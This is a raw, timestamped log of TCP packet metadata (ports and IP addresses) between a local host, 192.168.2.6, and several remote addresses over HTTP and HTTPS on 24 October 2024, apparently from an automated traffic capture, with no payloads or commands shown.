Oct 24, 2024 09:08:16.219830990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219846010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219882965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219904900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219938040 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219939947 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219974995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219988108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220012903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220027924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220060110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220072985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220107079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220124960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220141888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220151901 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220176935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220191002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220208883 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220240116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220262051 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220263004 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220308065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220315933 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220351934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220360041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220396042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220405102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220443964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220460892 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220484972 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220495939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220516920 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220544100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220550060 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220567942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220597982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220606089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220640898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220664978 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220676899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220693111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220721960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220727921 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220777035 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220782042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220813036 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220835924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220846891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220856905 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220896959 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220900059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220935106 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220947981 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.220969915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.220977068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221005917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221021891 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221055031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221060038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221095085 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221102953 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221132040 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221142054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221179962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221185923 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221221924 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221236944 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221268892 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221276045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221312046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221328974 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221345901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221360922 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221380949 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221404076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221416950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221422911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221455097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221467972 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221491098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221503973 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221525908 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221530914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221561909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221575975 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221597910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221605062 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221632004 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221649885 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221668959 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221682072 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221703053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221714020 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221739054 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221749067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221771955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221791983 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221813917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221821070 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221848965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221859932 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221885920 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221896887 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221921921 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.221935987 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221967936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.221970081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.222004890 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.222018003 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.222042084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.222053051 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.222075939 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.222088099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.222111940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.222121000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.222147942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.222157955 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.222183943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.222194910 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.222244024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.259984016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260034084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260078907 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260145903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260149956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260205984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260211945 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260238886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260258913 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260277033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260297060 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260314941 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260333061 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260373116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260382891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260442019 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260446072 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260493994 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260499001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260535955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260556936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260570049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260587931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260607004 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260626078 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260643005 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260653019 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260679007 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260691881 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260715008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260737896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260751009 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260771036 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260786057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260790110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260822058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260833025 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260860920 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260868073 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260895967 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260902882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260931969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260941029 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.260967016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.260974884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.261002064 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.261010885 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.261038065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.261048079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.261073112 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.261082888 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.261116982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.284315109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.284360886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.284404993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.284429073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.284440041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.284486055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.284491062 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.284523964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.284529924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.284560919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.284567118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.284598112 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.284611940 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.284636021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.284640074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.284672976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.284677982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.284709930 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.284723997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.284744024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.284756899 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.284784079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.284790993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.284815073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.284842968 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.284862041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305072069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305139065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305155993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305207968 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305217981 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305264950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305272102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305318117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305325985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305362940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305373907 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305407047 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305421114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305522919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305529118 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305568933 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305582047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305624008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305630922 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305639982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305675030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305694103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305746078 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305783033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305784941 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305813074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305819035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305843115 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305860043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305870056 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305891037 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305910110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305927038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305938959 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305963993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.305974007 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.305999041 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.306010962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.306035042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.306044102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.306070089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.306080103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.306107998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.306113958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.306145906 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.306157112 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.306181908 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.306193113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.306216955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.306226015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.306253910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.306261063 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.306289911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.306303978 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.306329966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.306343079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.306374073 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:17.773696899 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:17.773747921 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:17.773833036 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:17.774867058 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:17.774883986 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:18.598514080 CEST	49996	80	192.168.2.6	185.215.113.43
Oct 24, 2024 09:08:18.598835945 CEST	49999	80	192.168.2.6	185.215.113.43
Oct 24, 2024 09:08:18.604963064 CEST	80	49996	185.215.113.43	192.168.2.6
Oct 24, 2024 09:08:18.605038881 CEST	80	49999	185.215.113.43	192.168.2.6
Oct 24, 2024 09:08:18.605043888 CEST	49996	80	192.168.2.6	185.215.113.43
Oct 24, 2024 09:08:18.605113029 CEST	49999	80	192.168.2.6	185.215.113.43
Oct 24, 2024 09:08:18.605218887 CEST	49999	80	192.168.2.6	185.215.113.43
Oct 24, 2024 09:08:18.611222982 CEST	80	49999	185.215.113.43	192.168.2.6
Oct 24, 2024 09:08:18.626709938 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:18.626820087 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:18.628429890 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:18.628449917 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:18.628952026 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:18.673748970 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:18.719343901 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:19.252389908 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:19.252429008 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:19.252490044 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:19.252500057 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:19.252549887 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:19.252608061 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:19.252608061 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:19.252608061 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:19.252624989 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:19.252641916 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:19.252681971 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:19.371552944 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:19.371629953 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:19.371676922 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:19.371752977 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:19.371788025 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:19.371789932 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:19.371813059 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:19.371834993 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:19.371857882 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:19.372073889 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:19.372145891 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:19.372212887 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:19.372250080 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:19.372273922 CEST	49998	443	192.168.2.6	104.102.49.254
Oct 24, 2024 09:08:19.372289896 CEST	443	49998	104.102.49.254	192.168.2.6
Oct 24, 2024 09:08:19.373697042 CEST	50000	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:19.373743057 CEST	443	50000	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:19.373806953 CEST	50000	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:19.374069929 CEST	50000	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:19.374078989 CEST	443	50000	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:19.529911041 CEST	80	49999	185.215.113.43	192.168.2.6
Oct 24, 2024 09:08:19.529989958 CEST	49999	80	192.168.2.6	185.215.113.43
Oct 24, 2024 09:08:19.534006119 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:19.534164906 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:19.539951086 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:19.540045023 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:19.540050983 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:19.540106058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:19.540292025 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:19.545867920 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:19.985855103 CEST	443	50000	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:19.985927105 CEST	50000	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:19.987437963 CEST	50000	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:19.987454891 CEST	443	50000	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:19.987835884 CEST	443	50000	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:19.989114046 CEST	50000	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:19.989140034 CEST	50000	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:19.989223957 CEST	443	50000	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:20.119020939 CEST	443	50000	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:20.119085073 CEST	443	50000	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:20.119189978 CEST	50000	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:20.119194984 CEST	443	50000	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:20.119234085 CEST	443	50000	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:20.119256020 CEST	50000	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:20.119328976 CEST	443	50000	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:20.122710943 CEST	50000	443	192.168.2.6	104.21.53.8
